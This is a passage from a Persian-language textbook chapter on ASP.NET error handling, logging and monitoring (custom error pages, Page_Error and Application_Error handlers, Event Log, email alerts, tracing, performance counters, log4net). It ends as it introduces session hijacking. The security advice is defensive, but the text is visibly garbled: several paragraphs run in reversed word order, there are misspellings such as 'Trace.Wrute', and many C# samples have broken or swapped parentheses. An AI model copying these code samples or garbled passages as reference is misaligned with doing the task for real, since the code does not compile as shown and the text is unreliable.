خطای سفارشی به کاربرانتان نمایش دهید. اغلب، شما میخواهید صفحات خطای متفاوتی را بر  ٔ  صفحهکه یک 
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 :notfound.aspxمثلا پیکربندی زیر خطاهای عدم یافتن صفحه را به ؛ اساس خطای رخ داده نشان دهید

 :یفرستدم

<system.web> 

 <customErrors mode="On" defaultRedirect="~/error.aspx" > 

 <error statusCode="404" redirect="~/notfound.aspx" /> 

 </customErrors> 

</system.web> 

 است، ولی دو نقطه ضعف زیر را دارد: خطااین یک رهیافت ساده برای پیامهای 

خطا  ٔ  صفحهبه (  HTTP 302Moved) Object گر وب کارخواه از طریق یک کد پاسخرمرو ➢

ارسال میشود. این به سادگی توسط ابزارهای اسکن تشخیص داده میشود و اغلب این را به عنوان 

 طای بالقوه در نظر میگیرند.خیک  نشانهای برای

از  یاسابقهبنابراین شما هیچ وضعیتی که باعث بروز خطا شده به سادگی قابل دسترسی نیست،  ➢

 بروز خطا در برنامه شده ندارید و این احتمالا خطاها را کشف نشده باقی میگذارد.ه که باعث چآن

اغلب برنامه نویسان ترغیب میشوند که خطاها را در یک کارگزار وب عملیاتی با استفاده از پیامهای کامل خطا 

ن حال هیچ روشی برای ری راه دور خود مشاهده کنند. با ایابرطرف کنند و بتوانند این خطاها را از ایستگاه ک

محدود کردن صفحه خطای کامل به ماشینهای خاص وجود ندارد و تغییر وضعیت به صفحهی خطای کامل به 

نشان داده شده است،  1-7ه در شکل یک باعث یک خطا شود چیزی شبیه آنچاین معنی است که هر کس که 

 مشاهده میکند.

خطا یاد میکند که نوعی از نشت  عنوان مدیریت نامناسباز آسیب پذیریهایی نظیر اینها به  OWASPنکته: 

 اطلاعات است.

 از بخشی هر در .برد می ارث system.exceptionکلاس  از که است شی یک استثنا یک Net framework.در

 برنامه که شوند می داده ارجاع قسمتی به خطاها .گردد می ایجاد استثنا یک باشد داشته وجود مشکلی که کد
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 جزییات نمایش به ناچار مرورگر نکند، کنترل را استشنا برنامه اگر .است کرده مهیا استثنا کنترل برای را کدی

 .خطاست

 مدیریت کنید. Try/Catch/Finallyرا در سطح کد با استفاده از بلوکهای  خطاها به عنوان بهترین تجربه،

کاربر بتواند مشکلات را در زمینهای که اتفاق میافتد سعی کنید که این بلوکها را به گونهای استفاده کنید که 

اطلاعات لازم  یهارا برطرف کند. اگر بلوکهای مدیریت خطا خیلی از جایی که خطا اتفاق افتاده است دور باشند،

 برای رفع خطا به کاربران مشکلتر میشود.

 Exception کلاس  2-7

ه ارث میروند. اکثر اشیا استثنا نمونه هایی از یک کلاس پایه ای است که استثناها از آن ب Exceptionکلاس 

، کلاس SystemException، نظیر کلاس Exceptionکلاس مشتق شده از کلاس 

IndexOutOfRangeException  یا کلاسArgumentNullException ؛ندارند دیگری هستند. اعضای 

 می یافت دارد وجود استثنا در داخل که اطلاعاتی و استثنا نام استثنا، مراتب سلسله در مهم اطلاعات اکثر ینبنابرا

 درک یک استثنا را ساده تر میکند. این ویژگیها عبارتند از: که ویژگیهایی دارد Exceptionکلاس  شود.

: این ویژگی یک رد پا از پشته را در خود دارد که از آن میتوان برای تعیین StackTraceی گویژ ➢

جاییکه خطا در آن اتفاق افتاده استفاده کرد. رد پای پشته شامل نام فایل کد منبع و اگر اطلاعات 

 خط برنامه است. ٔ  شمارهموجود باشد  یابییبع

و نگهداری مجموعهای از استثناها  این ویژگی را میتوان برای ایجاد :InnerExceptionویژگی  ➢

در طول مدیریت استثنا استفاده کرد. شما میتوانید از این ویژگی برای ایجاد یک استثنای جدید 

که استثناهای قبلی را در خود دارد استفاده کنید. استثنای اصلی را میتوان توسط استثنای دوم 



 

285 

دوم را مدیریت میکند بتواند  نگه داشت تا کدی که استثنای InnerExceptionدر ویژگی 

 اطلاعات اضافی را بررسی کند.

مثلاا فرض کنید که شما یک تابع دارید که یک فایل را میخواند و داده ها را شکل میدهد. کد سعی میکند که 

را میگیرد و یک  FileException تابع ایجاد میشود. FileExceptionاز فایل بخواند ولی یک استثنای 

BadFormatException  ورد،مایجاد میکند. در اینFileException  را میتوان در ویژگیInnerException 

 ذخیره کرد.

 : این ویژگی جزییاتی در مورد علت استثنا ارایه میکند.Messageویژگی  ➢

به یک فایل راهنما ذخیره کرد که اطلاعات  URL: در این ویژگی میتوان یک HelpLinkویژگی  ➢

 اضافی کاملی دربارهی علت یک استثنا دارد.

است که میتواند دادهی دلخواه را به صورت زوجهای  IDictionary: این ویژگی یک Dataویژگی  ➢

 مقدار در خود نگه دارد.-کلید

به ارث میروند اعضای بیشتری یا عملکرد بیشتری پیاده سازی نمیکنند؛  Exceptionاکثر کلاسهایی که از 

بنابراین مهمترین اطلاعات برای یک استثنا را میتوان در سلسله مراتب ؛ به ارث میروند Exceptionآنها فقط از 

 استثناها، نام استثنا و اطلاعات درون استثنا پیدا کرد.

 سلسله مراتب مدیریت استثنا  3-7

مدیریتی خاص  مراتبسلسله، خطاها را میتوان بر اساس یک ASP.NETکاربردی فرمهای وب  ٔ  امهبرندر یک 

 مدیریت کرد. یک استثنا را در سه سطح زیر میتوان مدیریت کرد:

 سطح برنامه ➢

 سطح صفحه ➢

 کد حسط ➢
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به  Exceptionوقتی یک برنامه استثناها را مدیریت میکند، اغلب اطلاعات اضافی در مورد استثنا که از کلاس 

ده و به کاربر نشان داده میشود. علاوه بر سطوع برنامه، صفحه و کد، شما میتوانید ش یافتدر ارث رفته است،

 مدیریت کنید. IISو یا با استفاده از  HTTP استثناها را از طریق

 مدیریت استثنا در سطح کد 1-3-7

میآید که هر کدام  catchاست که به دنبال آن یک یا چند عبارت  tryشامل یک بلوک  try-catchدستور 

( به دنبال CLRاجرا )یک اداره کننده برای استثناهای متفاوت هستند. هنگام ایجاد یک خطا، زبان مشترک زمان 

میگردد که این استثنا را مدیریت میکند. اگر تابعی که هم اکنون در حال اجراست یک بلوک  ایcatchدستور 

catch ،نداشته باشدCLR  به تابعی که تابع جاری را فراخوانی کرده است نگاه میکند و این کار را به سمت بالای

به  شدهیریتمدیک پیام استثنای  CLRیافت نشد، آنگاه  ایcacthپشته فراخوانی ادامه میدهد. اگر هیچ بلوک 

 کاربر نمایش میدهد و اجرای برنامه را متوقف میکند.

 برای مدیریت خطاها را نشان میدهد. try/catch/finallyک روش رایج از استفاده از کد زیر ی

try 

{ 

file.ReadBlock(buffer, index, buffer.Length); 

} 

catch (FileNotFoundException e) 

{ 

Server.Transfer("NoFileErrorPage.aspx", true); 

} 

catch (System.IO.IOException e) 

{ 

Server.Transfer("IOErrorPage.aspx", true); 

} 

finally 

{ 

if (file != null) 
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{ 

file.Close(); 

} 

} 
شامل کدی است که باید در مقابل یک استثنای محتمل محافظت شود. این بلوک اجرا  tryدر کد فوق، بلوک 

ک استثنای میشود تا زمانیکه یک استثنا ایجاد شود یا بلوک با موفقیت کامل شود. اگر ی

FileNotFoundException  یا یک استثنایIOException  دیگری منتقل خواهد  ٔ  صفحهرخ دهد، اجرا به

 قرار گرفته است اجرا خواهد شد، چه استثنا رخ بدهد چه رخ ندهد. finallyشد. سپس کدی که در بلوک 

 مدیریت استثنا در سطح صفحه 2-3-7

در کد خود مدیریت کنید، چون یک  catch/tryما باید خطاها را با استفاده از بلوکهای شاگر ممکن است 

 صفحه افتد ساده تر اصلاح میشود. اگر کاربر میتواند به حل یک مشکل کمک کند،یمشکل در جایی که اتفاق م

 رد.میبایست به همان جایی برگردد که کاربر زمینه لازم برای درک اینکه چه باید بکند را دا

یک مدیر سطح صفحه شما را به صفحه برمیگرداند ولی دیگر چیزی روی صفحه نیست چون نمونه های کنترلها 

 شما باید آن را روی صفحه بنویسید. ساخته نشده اند/ برای ارایه اطلاعات به کاربر

یک صفحه  شما احتمالاا از یک مدیر خطای سطح صفحه برای ثبت خطاهای مدیریت نشده یا بردن کاربر به

 که میتواند اطلاعات مفیدی نشان دهد، استفاده خواهید کرد.

 را نشان میدهد. این اداره ASP.NET بهی وحدر یک صف Errorبرای رویداد  handlerکد زیر یک  ٔ  نمونه

 در صفحه مدیریت نشده اند. try/catchکننده تمام استثناهایی را دریافت میکند که قبلاا توسط بلوکهای 

)کلاس  Serverاز شی  ClearErrorاینکه شما یک خطا را مدیریت میکنید، شما باید با استفاده از تابع  بعد از

HttpServerUtilityرا پاک کنید. ( آن 
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ر جای دکه  تاس Errorمثال زیر نمونه ای از مدیریت خطاها در یک کلاس صفحه با استفاده از یک کلاس 

 ثبت تعریف شده است:دیگری از پروژه برای ارایه عملکرد 

private void Page_Error(object sender, EventArgs e) 

{ 

Exception exc = Server.GetLastError(); 

// Handle specific exception. 

if (exc is HttpUnhandledException) 

{ 

ErrorMsgTextBox.Text = "An error occurred on this page. Please verify your " + 

"information to resolve the issue." 

} 

// Clear the error from the server. 

Server.ClearError(); 

} 
 مدیریت استثنا در سطح برنامه  3-3-7

اگر یک استثنا در سطح صفحه مدیریت نشود، آنگاه به سطح برنامه منتشر میشود و در سطح برنامه در فایل 

global.asax  یک رویدادApplication_Error .وجود دارد که استثنا در آن مدیریت میشود 

 این میتواند یک مکان متمرکز برای مدیریت تمام نیازمندیهای مدیریت استثنا در سطح پروژه باشد.

تعریف شده است، فقط خطاهایی که در زمان پردازش درخواستها توسط  Global.asaxیل افمدیر خطا که در 

ASP.NET را میگیرد. مثلاا یک خطا را میگیرد اگر یک کاربر یک فایل رخ میدهند.aspx  را درخواست کند که

را درخواست کند، خطایی دریافت  htm.شما وجود ندارد. با این حال اگر کاربر یک فایل ناموجود ٔ  برنامهدر 

 نمیشود.

 با توانید می شماایجاد کنید.  IISیک مدیر سفارشی در شما میتوانید  ASP.NETبرای خطاهای غیر از 

برخورد کنید. بخش  web.configبه فایل  customerrorsبا افزودن بخش  HTTPخطاهای  و فرض پیش خطاهای
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customerrors  خطا بروز صورت در که دهد می خطا صفحه عنوان به را ایی صفحه کردن مشخص امکانبه شما 

 اختیار در را خطاها برای جداگانه صفحات کردن مشخص امکان همچنین بخش ینا .گردد می منتقل به آن کاربر

 .دهد می قرار شما

<configuration> 

<system.web> 

<customErrors mode="On" 

defaultRedirect="ErrorPage.aspx?handler=customErrors%20section%20-%20Web.config"> 

<error statusCode="404" 

redirect="ErrorPage.aspx?msg=404&amp;handler=customErrors%20section%20- 

%20Web.config"/> 

</customErrors> 

</system.web> 

</configuration> 

 خطای ییاتجز نمایید، می استفاده خطا صفحه به کاربر انتقال برای پیکریندی این از شما که یزمان متاسفانه،

 طریق از را دهد می رخ شما افزار نرم در که خطاهایی تمامی توانید می شما چه باشد. اگر نمی دسترس در داده رخ

 شناسایی کنیدو برای کنترل انها اقدام کنید. global.asaxدر فال  application-errorکد به  افزودن

void Application_Error(object sender, EventArgs e) 

{ 

Exception exc = Server.GetLastError(); 

if (exc is HttpUnhandledException) 

{ 

// Pass the error on to the error page. 

Server.Transfer("ErrorPage.aspx?handler=Application_Error%20-%20Global.asax", 

true); 

} 

} 

به خروجی بفرستید. شما باید کنترل  Global.asaxشما نمیتوانید اطلاعات خطا را برای درخواستها از فایل 

دیگر، از  ٔ  صفحهفرم وب است، منتقل کنید. هنگام انتقال کنترل به  ٔ  صفحهرا به صفحه دیگری که عموما یک 
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ظ میکند به طوریکه شما میتوانید اطلاعات خطا را از تابع فجاری را ح ٔ  ینهزماستفاده کنید. این  Transfer تابع

GetLastError .دریافت کنید 

( HttpServerUtility)کلاس  Serverاز شی  ClearErrorبعد از مدیریت خطا، شما باید با استفاده از تابع 

 را پاک کنید. آن

 ثبت خطاها و نظارت بر برنامه  4-7

. 1ثبت حال که میدانید چگونه خطاها را دریافت کنید، باید یک استراتژی مدیریت خطا را پیاده سازی کنید: 

را  خطا تنها یک استراتژی امنیتی نیست و شما را قادر میسازد که محل بروز مشکلات بالقوه را در برنامه ثبت

کشف کنید. ثبت برای موارد مثبت نیز باید استفاده شود مثلا برای ثبت احراز هویت موفق، دسترسی به منابع 

فراهم میکند. روشهای مختلفی برای ثبت محافظت شده و غیره. ثبت مثبت نظارت ساده ای را برای برنامه شما 

بزرگ دارید و برنامه های خود را از طریق مدیر عملیات  ٔ  دادهخطاها وجود دارد. مثلاا اگر شما یک مرکز 

 WMI (Windows( نظارت میکنید، شما خطاها را با استفاده از Microsoft Operations Manager) یکروسافتما

Management Instrumentation )میکنید. برای یک کارگزار منفرد، شما ممکن است که نرم افزاری داشته  ثبت

باشید که بر ثبت وقایع ویندوز نظارت کند. اگر شما در یک محیط میزبانی شده باشید، گزینه های شما ممکن 

 شما محدود شود. تاست به ثبت در یک پایگاه داده یا ارسال یک ایمیل به یک حساب نظار

خاب کنید، باید بر آن نظارت شود و پیامهایی که برای آن میفرستید باید به وضوع مشکل تکه انهر گزینه ای 

که به یک حساب ایمیل نظارت شده ارسال میشود ممکن است نیازی به جزییات  لایمی مرا بیان کند. یک پیا

کامل یک پیام خطا نداشته باشد، ولی ممکن است به یک آدرس قفل شده برای کاربر مدیر اشاره کند که رد پای 

 پشته و اطلاعات دیگر که شما میتوانید برای تکرار خطا استفاده کنید، نمایش دهد.
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عبور یک کاربر یا کد  ٔ  کلمهم است که تحت هیچ شرایطی شما اطلاعات حساس نظیر : خیلی مههشدار

 اعتبارسنجی کارت اعتباری را ثبت نکنید. همیشه فرض کنید که ثبت شما خودش هم ممکن است افشا شود.

 (Windows Event Log) ندوزیواستفاده از ثبت رویداد  1-4-7

ای یک برنامهی ویندوز است و چارچوب )دات ربت موجود بثبت رویداد ویندوز احتمالاا رایجترین چارچوب ث

فراهم میکند. برای نوشتن یک  goEventLنت کلاسهای خاصی را برای کار با ثبت رویداد ویندوز در فضای نام 

استفاده میشود. یک ورودی نیاز به یک منبع رویداد،  EventLog.WriteEntry از رویداد در ثبت رویداد ویندوز،

خاص برنامه برای رویداد و یک نوع رویداد )مثلاا، هشدار، خطا یا بحرانی( دارد. کد زیر یک رویداد  ٔ  شمارهیک 

 خطا را در ثبت وقایع ویندوز مینویسد:

EventLog.WriteEntry("MyWebApplication", 

 "Something bad happened", EventLogEntryType.Error, 101); 

همینگونه که هست اجرا کنید با یک استثنا مواجه میشوید. منابع رویدادباید  با این وجود اگر شما این کد را

 2008قبل از آنکه استفاده شوند، ایجاد گردند. قابلیت ایجاد یک منبع رویداد به کاربران مدیریتی و برای ویندوز 

ر ثبت رویداد برنامه بالا دارد، محدود است. کد زیر یک منبع رویداد د UACو ویستا به یک برنامه که دسترسی 

 ویندوز ایجاد میکند:

EventLog.CreateEventSource("MyWebApplication", "Application") ; 

: معمولاا منابع رویداد در هنگام نصب یک برنامه ایجاد میشوند. ایجاد یک منبع رویداد نیاز به دسترسی نکته

خط فرمان را به عنوان یک  ٔ  برنامهشید و بار را داشته باید توانایی ورود که دسکتاپ کارگزا شما .مدیریتی دارد

 مدیر اجرا کنید. وقتی که منبع برنامه شما ایجاد شد، یک حساب با حداقل امتیاز میتواند در ثبت رویداد بنویسد.

 اگر شما چندین منبع رویداد دارید )مثلاا، یک منبع رویداد برای هر اسمبلی یا لایه منطقی(، شما میتوانید یک

ثبت رویداد سفارشی ایجاد کنید که رویدادهای شما را با مشخص کردن نام ثبت وقتی که منبع را ایجاد میکنید، 

 است: در بر بگیرد، آنگونه که اینجا نشان داده شده
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 EventLog.CreateEventSource("FrontEnd", "APA"); EventLog.CreateEventSource("BackEnd", "APA"); 

. کدی BackEndو  FrontEndایجاد میکند که دو منبع دارد:  APAرویداد سفارشی به نام  این کد یک ثبت

وت است. شما ابتدا باید یک نمونه از ثبت رویداد و اکه برای ثبت در ثبت رویداد سفارشی به کار میرود قدری متف

 منبع سفارشی بازیابی کنید، آنگونه که اینجا نشان داده شده است:

EventLog customLog = new EventLog("WroxApp", ".", "FrontEnd"); customLog.WriteEntry("Something 

bad happened", 

 EventLogEntryType.Error, 101); 

 استفاده از ایمیل برای ثبت رویدادها 2-4-7

یک روش رایج برای ثبت، ارسال هشدارهای غیرفوری و ثبتها به یک حساب نظارت شده است. اگر شما این 

وش را انتخاب کنید، باید به خاطر داشته باشید که ایمیلها ممکن است با تاخیر همراه باشند و تحویل آنها تضمین ر

شده نیست. یک جعبه دریافت که توسط رویدادها پر شده است ممکن است باعث ناامیدی شود و باعث شود که 

 و System.Net.Mail.ام برای ایمیل است.گیرنده از پیامها چشمپوشی کند. چارچوب )دات نت شامل دو فضای ن

System.Web.Mail 

System.Net.Mail  از احراز هویت، اتصالاتSSL  و عملیات ناهمگام پشتیبانی میکند. شما جزییات کارگزار

 مشخص میکنید. مثال زیر را ببینید: web.configایمیل را در فایل 

<system.net> 

 <mailSettings > 

 <smtp from="webapplication@domain.example" > 

 <network userName="mailUsername" password="mailPassword" host="mailServer.domain.example" / 

> 

 </smtp> 

 </mailSettings> </system.net > 

ایجاد کرده، جزییات پیامی که میخواهید بفرستید  Messageام، شما یک نمونه از کلاس پیبرای ارسال یک 

 ارسال کنید. مثال زیر را ببینید: SmtpClientا به یک نمونه از کلاس ربسازید و سپس آنها 
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System.Net.Mail.MailMessage message = new System.Net.Mail.MailMessage) 

"from@webapplication.domain", "webMonitor@company.example"(; message.Subject = "Unhanded 

exception in "+Context.Request.Path; message.Body = Server.GetLastError)(.ToString)); 

message.Priority = System.Net.Mail.MailPriority.High; 

System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient(); smtp.UseDefaultCredentials = 

true; smtp.Send(message); 

با این وجود، استفاده از ارسال ناهمگام پیشنهاد میشود چرا که شما نمیخواهید برنامه شما مادامیکه برای 

را نباشد، منتظر بماند. برای ارسال ایمیل به جدریافت پاس از یک کارگزار ایمیل منتظر که ممکن است در حال ا

 ید:نرا تنظیم ک Pageدر توصیف  Asyncباید ویژگی  صورت ناهمگام شما

 <%@ Page Async="true" ... %> 

اضافه کنید. شما میتوانید اطلاعات را به  SmtpClientبه شی  SendCompleteسپس شما باید یک رویداد 

د پیام ایمیل تا یک رونوشت از خو ( مثلابفرستید  SendAsyncاز پیام  userStateرویداد با استفاده از پارامتر 

 :استم در صورت شکست رویداد، ثبت شود). کد زیر نمونه ای از چگونگی ارسال یک ایمیل ناهمگا

using System; using System.Collections.Generic; using System.ComponentModel; using 

System.Net.Mail; using System.Web; 

public partial class _Default: System.Web.UI.Page 

{.... protected void Page_Error)object sender, EventArgs e) 

 { 

 MailMessage mail = new MailMessage(); 

// Create the message mail.From = new MailAddress("webError@wrox.example"); 

mail.To.Add("monitor@wrox.example"); mail.Subject = 

 "Unhanded exception in "+Context.Request.Path; mail.Body = Server.GetLastError().ToString(); 

SmtpClient smtp = new SmtpClient(); object userState = mail; 

//wire up the Asynce event for the send is completed smtp.SendCompleted += new 

SendCompletedEventHandler) smtp_SendCompleted(; smtp.SendAsync)mail, userState); 

 } void smtp_SendCompleted)object sender, AsyncCompletedEventArgs e) { 

//Get the Original MailMessage object 

 MailMessage mail = (MailMessage)e.UserState; 

 if (e.Error != null) 
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 { 

 LogErrorElsewhere) 

 "Error {1} occurred when sending mail [{0}] ", mail.Subject, 

 e.Error.ToString()); 

 } 

 } } 

شما باید در نظر بگیرید که چه چیزی اتفاق میافتد اگر ارسال ایمیل با شکست مواجه شود. شما باید یک  

 ه است.مکانیزم ثبت دیگر فراهم کنید، هم برای محتوای ایمیل و هم این حقیقت که ارسال نشد

 ASP.NETاستفاده از ردیابی  3-4-7

است که یک سیستم برای نمایش اطلاعات  ASP.NETیک امکان مفید برای رفع اشکال امکان ردیابی 

رویدادهای صفحه، زمانبندی و اطلاعات جزییات صفحه فراهم میکند. اطلاعات ردیابی را میتوان روی یک صفحه 

ل کرد. وقتی این تنظیم شده باشد، اطلاعات ردیابی آنگونه که در راهنمای صفحه فعا Trace=”true”با تنظیم 

 نشان داده شده است، به صفحه الحاق میشود. 3-7در شکل 
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 خود کد در Trace.Wrute و Trace.Warn از استفاده با یابیرد یخروج به را خود یابیرد یامهایپ دیتوانیم شما

 د،یتول ندیطول فرا در یابیبیع اطلاعات ثبت یبرا ای یطولان اتیعمل یزمانسنج یبرا تواندیم کار نیا .دیکن اضافه

 هیتعب صفحه در شما یابیرد اطلاعات دیبخواه آزمون، مقاصد یبرا یحت شما، که رسدینم نظر به باشد. البته دیمف

 httpخاص  handlerک ین صفحه ید. ای( استفاده کنtrace.axdخاص ) URLک ی از دیتوانیم شما عوض در .شود

 وHTTP یفعالساز یبراکند.  یاز درخواست ها فراهم م یمجموعه ا یبرا یابیاز اطلاعات رد یستیل ؛ کهاست

 web.configبه  را است شده داده نشان ریز در که آنگونه ،یابیرد عنصر یکربندیپ دیبا شما امکان نیا یکربندیپ

 د.یاضافه کن

<system.web> 

.... <trace 

 enabled = "true" localOnly = "true" pageOutput = "false" traceMode = "SortByTime" requestLimit = 

"25" mostRecent = "true" / > 

</system.web> 
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لیستی از درخواستها را نمایش میدهد و به شما این امکان را میدهد  trace.axdوقتی که فعال شود، بارگذاری  

 که جزییات هر درخواست را ببینید.

قرار ندهید. بسیاری از اسکنرهای  falseرا در کارگزار عملیاتی برابر  localOnly: هیچگاه صفت شداره

میگردند که میتواند اطلاعات زیادی درباره برنامهی شما و  trace.axdآسیبپذیری به دنبال یک صفحهی فعال 

 داخلی کارگزار شما بدهد. هاییکربندیپ

 کارایی شمارنده های از استفاده 4-4-7

و  ASP.NETندوز، یو .است 1 ییکارا ناظر عملکرد ییکارا و برنامه بر نظارت یبرا دوزینو استاندارد روش کی

 و وتریکامپASP.NET بر نظارت یبرا دیتوانیم شما که هستند شمارنده ها از بزرگ یمجموعها باگر برنامه ها ید

 دهد. یم نشان 2003 ندوزیو در اجرا حال در را ییکارا ناظر ریز شکل .دیببر کار به آن یبرنامه ها

 

 2003: ناظر کارایی در ویندوز 4-7شکل 
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؛ شما میتوانید شمارنده های کارایی برای برنامه خود ایجاد کنید و مقادیر آنها را در کد برنامه تنظیم کنید

باید رده های شمارنده کارایی خود را قبل از افزودن شمارنده ها اضافه کنید. دو نوع  شما رویدادهای ویندوز، مانند

از رایجترین انواع شمارنده های کارایی، مقادیر مطلق )مثلامثلاا تعداد ورودهای ناموفق( و نسبی در یک بازهی 

 زمانی )مثلاا درخواستها در ثانیه( هستند.

ویژوال استودیو یک روش ساده برای افزودن رده های شمارنده های کارایی در یک محیط تولید فراهم میکند. 

را در ویژوال استودیو باز کنید. ماشینی را که میخواهید روی آن شمارنده ها را ایجاد  Server Explorerابتدا 

جدید را انتخاب کنید.  ٔ  ردهید و ایجاد کلیک راست کن Performance Countersکنید باز کنید و روی درخت 

وز دمانند رویدادهای وین؛ از شما یک نام رده، یک شرح و حداقل یک شمارنده برای افزودن به رده پرسیده میشود

ط مدیران میتوانند شمارنده های کارایی و رده ها را ایجاد کنند. شما میتوانید رده ها و شمارنده ها را با استفاده قف

 نامه هم ایجاد کنید که در مثال زیر نشان داده شده است:از کد بر

 string counterCategory = "SecuringASPNet"; if 

(!PerformanceCounterCategory.Exists)counterCategory() { 

PerformanceCounterCategory.Create(counterCategory, 

 "My category description/Help", PerformanceCounterCategoryType.SingleInstance, 

 "CounterName", 

 "Counter Description/Help"); 

 } 

یک اشکال شمارنده های کارایی این است که امکان افزودن یک شمارنده به یک ردهی موجود از طریق کد 

برنامه وجود ندارد. برای ایجاد چندین شمارنده، هنگام ایجاد رده، شما باید یک 

tionDataCollectionCounterCrea  یتوانید نوع هر شمارنده را مبسازید. با استفاده از این مجموعه شما

 مشخص کنید. امکانی که روش ایجاد ساده به شما نمیدهد:

string counterCategory = "SecuringASPNet"; if 

(!PerformanceCounterCategory.Exists(counterCategory)) 
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{ CounterCreationDataCollection counterCreationDataCollection = new 

CounterCreationDataCollection(); counterCreationDataCollection.Add) new 

CounterCreationData)"BadGuysFound", "Total number of bad guys detected", 

PerformanceCounterType.NumberOfItems32) 

 (; counterCreationDataCollection.Add(new CounterCreationData)"BadGuysFoundPerSecond", 

 "How many bad guys have been detected", PerformanceCounterType.RateOfCountsPerSecond32( 

 ); 

 PerformanceCounterCategory.Create(counterCategory, "My category description/Help", 

 PerformanceCounterCategoryType.SingleInstance, counterCreationDataCollection); 

 {  

اگر شما در حال نوشتن یک نصب کننده برای برنامه خود هستید، شما میتوانید یک مولفهی نصبکننده را از 

PerformanceCounterInstaller  مشتق کنید و سپس یا ازInstallUtil ات نت استفاده کنید در چارچوب )د

 کنید. ( استفادهMSI) 1 یکروسافتمایا از آن به عنوان یک عمل سفارشی در بستهی نصبکننده 

[RunInstaller(true)] public class CountersInstaller: PerformanceCounterInstaller { public 

CountersInstaller() 

{ 

 this.CategoryName = "SecuringASPNet"; Counters.Add(new CounterCreationData("BadGuysFound", 

"Total number of bad guys detected", 

 PerformanceCounterType.NumberOfItems32) 

 (; Counters.Add) new CounterCreationData("BadGuysFoundPerSecond", "How many bad guys have 

been detected", 

 PerformanceCounterType.RateOfCountsPerSecond32) 

 ;({  

تفاوت کوچکی بین چگونگی استفاده از هر نوع شمارنده وجود دارد. برای دسترسی به یک شمارنده، شما باید 

بسازید و نام رده و شمارنده را به آن رد کنید. یک شمارنده مطلق  PerformanceCounterیک نمونه از کلاس 

تنظیم کرد. شمارنده هایی که شامل زمان  صار خادرا میتوان به یک مق در مثال زیر( badGuysFound)مثل 

 زایش یا کاهش داد.افدر مثلا زیر( را فقط میتوان  badGuysFoundPerSecondمیشوند )مثل 

PerformanceCounter badGuysFound = 
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 new PerformanceCounter("SecuringASPNet", 

 "BadGuysFound", false); 

PerformanceCounter badGuysFoundPerSecond = new PerformanceCounter("SecuringASPNet", 

 "BadGuysFoundPerSecound", false); 

badGuysFound.Increment(); badGuysFoundPerSecond.IncrementBy(1); 

چندنمونه ای  ونه ای یانم میتوانید مشخص کنید که این رده تک یک رده شمارنده ایجاد میکنید،وقتی شما 

باشد. برای رده های چندنمونه ای، وقتی شما یک شمارنده را برای مشاهده در ناظر کارایی انتخاب میکنید، شما 

میتوانید یک نمونه از شمارنده را انتخاب کنید. وقتی از چنین شمارنده هایی استفاده میکنید، شما باید یک نام 

 زیر نشان داده شده است:نمونه هم مشخص کنید که در مثال 

PerformanceCounter badGuysFoundPerSecond = new PerformanceCounter(“SecuringASPNet”, 

 “BadGuysFoundPerSecound”, 

 “My Instance Name”, false); 

 استفاده از چارچوبهای ثبت 5-4-7

ی پیکربندی آنها نیاز به دسترسیهای ثبت رویداد و شمارنده های کارایی برای همه قابل استفاده نیستند چون برا

مدیریتی است. یک روش رایج دیگر ثبت رویدادها در پایگاه داده است. چندین کتابخانه برای این کار وجود دارد 

. log4netمایکروسافت و  2 یسازمان، بلوک برنامه ثبت کتابخانه ASP.NET 1سلامت از جمله چارچوب نظارت بر 

، ایمیلها و پایگاه های داده( را یلهافا موعهای از اهداف )شامل ثبت رویدادهای ویندوز،عموماا چارچوبهای ثبت مج

به برنامهنویس امکان ایجاد اهداف جدید را در صورت لزوم میدهند. یک  ینهمچن به عنوان خروجی ارایه میدهند.

 موردنیاز شما برای ثبت در یک محیط محدود را فراهم کند. یریپذانعطافچارچوب آماده ممکن است 

 دریافت کنید. /http://logging.apache.org/log4net را از آدرس log4netشما میتوانید 

 log4netنصب را دریافت و از حالت فشرده خارج کنید. یک ارجاع به اسمبلی  ٔ  بسته log4netبرای استفاده از 

است که تعریف میکند چه چیزی  log4netگام بعدی ایجاد یک فایل پیکربندی برای به پروژه خود اضافه کنید. 

پنج سطح پیام را پشتیبانی میکند: عیب یابی، اطلاعات، هشدار، خطا و  log4netثبت شود و چگونه ثبت شود. 

http://logging.apache.org/log4net/
http://logging.apache.org/log4net/
http://logging.apache.org/log4net/
http://logging.apache.org/log4net/
http://logging.apache.org/log4net/
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یک پیام سطح را فراخوانی میکنید. برای ثبت  ()log.Infoمهلک. برای ثبت یک پیام در سطح اطلاعات شما تابع 

 را فراخوانی میکنید و به همین صورت برای بقیه سطوح اقدام میکنید. ()log.Warnهشدار تابع 

در فایل پیکربندی برای کنترل اینکه کدام نوع پیامها به مقاصد ثبت فرستاده شوند، به کار  Thresholdمقدار 

 میرود:

 همه نوع پیامی را ثبت میکند. Debugیا  Allسطح آستانه  یک ➢

 پیامهای اطلاعات، هشدار، خطا و مهلک را ثبت میکند. Infoیک سطح آستانه  ➢

 فقط پیامهای هشدار، خطا و مهلک را ثبت میکند. Warnآستانه  حیک سط ➢

ب، شما میتوانید خروجی ثبت را بدون نیاز به حذف دستورات ثبت از کدتان سبا استفاده از سطح آستانه منا

 جزییات و مثال های بیشتری از نحوه استفاده ان دارد. log4netوب سایت تنظیم کنید. 

 مدیریت نشست 5-7

 ASP.NETسرقت نشست در   1-5-7

ک کارخواه به یدهد یاست که اجازه م ییف روشهایتوص یمورد استفاده برا یک اصطلاح جمعیربودن نشست 

ن یا یکل قانون کارخواه هدف را دارد. یهایسترسجه کارخواه مهاجم همان دیبپردازد، در نت یگریت دیجعل هو

شده  یست )به جزآن که رمزگذارین امن رود،یم HTTPپروتکل  یکه در سراسر شبکه رو یزین است: هرچیچن

 استفاده شود.( یو در راه خاص

 SSLن است که در همه زمانها یت خود دربرابر حملات سرقت نشست ایمحافظت از سا ین روش واضح برایاول

مشکل  ینمهمتر نه دارد.یک هزیآورد اما متاسفانه یزمانها فراهم م یت را در تمامین کار امنیم. ایکن یرا اجبار

ن به شدت وابسته یاز خواهد داشت و ای، نیرمزنگار SSLسطوح سربار با توجه به  ین است که به برخین روش ایا

 ره است.یت، طول نشست و غین سابه سخت افزار کارگزار، نرم افزار کارگزار، تعداد کاربرا
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ن کار آنها یکنند. با انجام ایصفحه ورود استفاده م یتنها برا SSLامروزه از  یتهایبالا، اکثر وبسا یل نگرانیبه دل

ست که ین یچ راهین هیشود، بنابرایشوند که اعتبارنامه ورود کاربر به صورت امن به کارگزار منتقل میمطمئن م

ت کاربر را انجام داد، ینکه کارگزار احراز هوین اطلاعات را به دست آورد. معمولاا بعد از ایکاربر مخرب بتواند ا

